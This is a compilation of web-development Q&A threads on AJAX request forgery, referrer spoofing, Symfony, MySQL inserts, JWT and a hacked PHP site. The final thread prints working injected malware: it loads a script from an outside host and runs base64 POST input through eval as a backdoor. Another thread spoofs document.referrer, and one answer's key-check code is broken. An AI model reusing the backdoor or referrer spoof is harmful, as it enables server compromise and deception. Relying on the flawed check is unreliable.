Preventing forge HttpRequests - javascript

I've been searching throughout the day to find a way to figure this out, but without sucess and I thought that maybe someone here could help ?
I am trying to use a secrete password in my .Js file but I can't write it directly in the file because everyone could see it when accessing the source code. e.g I need to send this password using ajax to another page to make sure that the HttpRequest is from my website not from another forge httprequest . Is that possible because I've tried everything else like Authentication Forms but that didn't help.
I'm using asp.net and HttpHandler as the page that returns data .

What you can do is generate a key that is valid up to a set time using PHP like so:
$password = "some random string";
$key = md5($password . $_SERVER['REQUEST_TIME']) . "|" . $_SERVER['REQUEST_TIME'];
This way you know when the key was generated, and if it's been tampered with because:
function check($key) {
list($hash, $timestamp) = explode("|", $key, 2);
if ($hash !== md5($password . $key)) {
throw new Exception("Naughty!");
}
if ($timestamp < $_SERVER['REQUEST_TIME'] < 60*60) {
throw new Exception("too old");
}
}
The down side is that people who don't refresh the page very often (in my example this is 1 hour) their key will expire.
Another issue is that your 'attacker' could technically first scrape a page to get a new key and use that, and scrape again when it expires and so on.
This solution works very good for protecting against hotlinking.

This is how it's done in MVC. Unfortunately, it doesn't look like the same security goodness has made it to WebForms (at least as far as I can tell).

Related

Overwrite HTTP REFERER with PHP

I am trying to overwrite custom value to HTTP REFERRER. I got success with javascript but my client want in PHP and i need help in rewriting Javascript to PHP.
JS code :
var reff = ["http://example.com", "http://example.net", "http://example.org"];
var randomreff = reff[Math.floor(Math.random() * reff.length)];
delete window.document.referrer;
window.document.__defineGetter__("referrer", function () {
return randomreff;
});
document.write(document.referrer);
I am trying to rewrite this code in PHP or maybe finding a similar solution with PHP. i tried multiple way to do in PHP. these are some example.
PHP Try 1 :
$reff = new Arr("http://example.com", "http://example.net", "http://example.org");
$randomreff = get($reff, call_method($Math, "floor", to_number(call_method($Math, "random")) * to_number(get($reff, "length"))));
_delete(get($window, "document"), "referrer");
call_method(get($window, "document"), "__defineGetter__", "referrer", new Func(function() use (&$randomreff) {
return $randomreff;
}));
PHP with variable :
$var = 'var reff = ["http://example.com", "http://example.net", "http://example.org"];
var randomreff = reff[Math.floor(Math.random() * reff.length)];
delete window.document.referrer;
window.document.__defineGetter__("referrer", function () {
return randomreff;
});
';
PHP with header referer :
header("Referer: https://www.example.com/");
None of them worked. Help me to rewrite Javascript code or alternative solution with PHP.
You won't be able to do this with PHP exclusively. document.referrer is a DOM property that is set by the browser when the page loads by reading the referrer header on the request. Since the request is generated by the browser you can't really touch it with PHP since that is executed on the server and not in the browser, if you want to execute something in the browser you will need javascript.
In your examples you are just trying to run javascript-code from PHP it seems, and that just won't work. The last sample that sets the referrer-header will set it on the response back from the server, but as I said, referrer is a request variable so it will just be ignored.
The only thing you could do from PHP is to tell the browser to redirect to the page again (by setting the location-header), but as far as I know these days this won't reset the referral-header (if so then redirects from http to https for example would loose it all the time).
I'm not exactly sure are you trying to acomplish here. Setting document.referrer is only valid for the current page and won't affect what the next page sees. If executed early it might fool some tracking scripts at most.

Get Id from a value in a controller in Symfony

What I am trying to do is to get an Id from a folder number.
Both my Id and my folder number (folder number is unique) are in the same controller.
I get the folder number from a text input and I then need to redirect the user to a page /Id.
My question is how should I handle it ?
Do I need to create a method getIdFromFolderNumber() in my controller and then call this function in my JS function ?
Or maybe do I need to do everything in a JS function (I know I need a JS function since I will use an AJAX request to redirect my user and to get the value from the input).
I don't need the code or anything, I just want to know the method I need to use to understand how to do it. I've started working on a very big project and since I am a junior developer I am a bit lost.
Thank you for your help.
You don't need any JS to achieve that. It's a simple form and redirection.
Once your form which gives you the number is submitted :
$number = $form->get('number')->getData();
Then you got your criteria for your doctrine request :
$id = $yourEntityRepository->findBy(['number' => $number)])->getId();
Now you have your ID for the redirection :
return $this->redirectToRoute('entity_show', ['id' => $id]);
IS that what you were looking for ?
Note : you don't need to store $number and $id as variables. It was only to make it clear. You can replace them by the actual requests where it's needed.

Inserting data from JS script into mysql database

I have created a script to count down whatever value I submit into a form and then output "the submitted value + the date of the moment I clicked on the submit button" as a result.
But now I want to store the result into my database every time I use the form by using SQL query and then echo all of these results in another page named "log.php" using SELECT SQL query.
var timelog = [];
function myF() {
countdown(s);
log = document.getElementById("log").innerHTML = s + 'at ' + new Date();
timelog.push(log);
}
function logged() {
document.getElementById("timeloggg").innerHTML = timelog;
}
I have tried to assign the result to a variable, but obviously, I cant use this variable outside of the script.
With some googling, I was told to use Ajax, but sadly I couldn't figure out how to insert the data using ajax, because all of the code examples out there are only about calling data from the database.
So any advice on how to insert the result into my database? I'm still a beginner so please explain in detail if you don't mind.
It is possible, of course, to insert data into your database from client side js, BUT DONT! I can't think of a way to do it that would not expose your database credentials, leaving you open to malicious actors.
What you need to do is set up a php script on your server, then send the data (either by POST or GET) you want inserted to that with an xhr request, and let that php script do the insert. HOWEVER, there is quite a bit to securing even that. Google "how to sanitize mysql inputs in php" and read several articles on it.
Depending on what you need to do, you can sanitize the inputs yourself, but the recommended way to do it is with prepared statements, which you will need to read the documentation for your specific implementation, whether it's mysqli or pdo in mySQL or some other library (say if you're using SQL, postGRE, Oracle, etc).
HTH
=================================================
Here is how to do it in js, BUT DONT DO THIS, unless you are never going to expose this code outside of your local computer.
var connection = new ActiveXObject("ADODB.Connection");
var connectionstring = "Provider=host;Data Source=table;User Id=user;Password=pass;";
connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");
var sql = {{your sql statement}};
rs.Open(sql, connection);
connection.close;
==============================================
For php, do something like this, replacing host, user, pass, db with your actual credentials and hostname and database:
$db = new mysqli({host}, {user}, {pass}, {database});
if($db->connect_errno > 0){ die ("Unable to connect to database [{$db->connect_error}]"); }
to set the connection. If this is a publicly accessible php server, then there are rules about how to set up the connection so that you don't accidentally expose your credentials, but I'm going to skip that for now. You would basically save this into a file that's not accessible from the outside (above the document root, for instance) and then include it, but database security is a complex topic.
To get the values you passed in the query string of your ajax call:
$val1 = $_GET['val1'];
$val2 = $_GET['val2'];
Then to do the insert with a parameterized query:
$query = $db->prepare("
INSERT INTO your_table (field1, field2)
VALUES (?, ?)
");
$query->bind_param('ss', $val1, $val2);
$query->execute();
Now, here you're going to have to look at the documentation. 'ss' means that it's going to treat both of those values you're inserting as strings. I don't know the table set up, so you'll have to look up the right code for whatever you are actually inserting, like if they were integers, then 'ii', or 'si' would mean the first value was a string and the second one was an int.
Here are the allowed values:
i - integer
d - double
s - string
b - BLOB
but look at the documentation for prepared statements anyway. I used msqli in this example.
You might want to check Ajax requests.
I would suggest to start here.
What you will do is basically create asynchronous requests from javascript to a php file on your server.
Ajax allows web pages to be updated asynchronously by exchanging small
amounts of data with the server behind the scenes. This means that it
is possible to update parts of a web page, without reloading the whole
page.

JWT on PHP side

I'm working on a AngularJS / Phonegap / PHP (Zend) project.
I want the users to login via JWT. (this seems the best options since cookies not work). I've found a tutorial to manage it on the angular side
I went googling a lot and found out that google uses the https://github.com/luciferous/jwt version. Also I found a newer one based on that from firebase ( https://github.com/firebase/php-jwt )
(1) Which one should I use?
I'm using the luciferous now and when I create a token via:
$ENV_var = "whatever":
$token = encode("id: 5", $ENV_var);
It returns: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.ImlkOiA1Ig.KtG-rOleZwiDhbMnaLI1vIOczPYUM2Az1KfIeygJ7E0 which is unvalid here but valid if I decode it with the same script.
(2) Why is this? is this because jwt.io is made with/by Auth0?
(3)Also I don't get when/why I should use the "sign method" instead of encode (below: from github luciferous)
public static function sign($msg, $key, $method = 'HS256')
{
$methods = array(
'HS256' => 'sha256',
'HS384' => 'sha384',
'HS512' => 'sha512',
);
if (empty($methods[$method])) {
throw new DomainException('Algorithm not supported');
}
return hash_hmac($methods[$method], $msg, $key, true);
}
1) I would recommend using the firebase implementation, since it is maintained more and has composer support.
The payload that is passed into the encode method should be an array of "claims" see here e.g.
$payload = array('sub' => 1, 'iss' => 'example.com');
$secret = 'someSecretKey';
$token = JWT::encode($payload, $secret);
2) because the token you are generating is not based on an array or contain any required claims.
3) you should generally use the encode/decode methods as they will call sign internally
Ad 1. Both are fine to use, however the second has got better documentation. I personally prefer to work with https://github.com/firebase/php-jwt.
You said that JWT generated is not valid. I have tested it and it worked (it got decoded correctly), just make sure to use correct algorithm "HS256" and your secret.
Ad 2. This question is not clear, can you please clarify?
Ad 3. Encode method of that class calls sign. You don't have to call sign yourself, just encode.

Got Hacked - Anyone know what this PHP Code Does?

Our server got hacked via some SQL Injection method (now patched). All our PHP files got this added to the very top of each file.
global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!#$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
It seems to set a cookie but I don't have the first idea what it does.
Any experts able to understand what this does and potentially what the Cookie Name that is created may look like so I can tell any users etc
UPDATE
Seen the exploit was due to a plugin in the Zenphoto Gallery Software called Tiny_MCE.
First it sets a cookie. (named lb11) to the value 102.
If it (later?) finds the cookie, it sets the cookie to a random value
between 1000 and 9000, so that it doesn't do this again: Has the user
request (and execute) a javascript, which sends which which infected
URL made the call, and then refresh the page, (so nothing appears to
have happened after the javascript has run.
But in any case, if the "showimg" parameter is passed to the page, it
looks at the content of that page, and executes it on the server.
So, If this code is present, it will run javascript, (which also informs the server which URL is infected, and then let the person run arbitrary code (via the showimg parameter) on the infected server.
This has 2 layers of attacks, it can attack the client with javascript, and can later attack the server and run arbitrary code on it.
I could be wrong here, but from the looks of it (without testing the links in the code); it could be trying to inject some client-side javascript which could be malicious. This would usually infect the visitors computer with malware etc.
As for the cookie name. I would get your visitors to remove all cookies for your domain, but from the looks of it, the cookie is called "lb11"
I didn't fancy looking at the links as you can understand ;)

Categories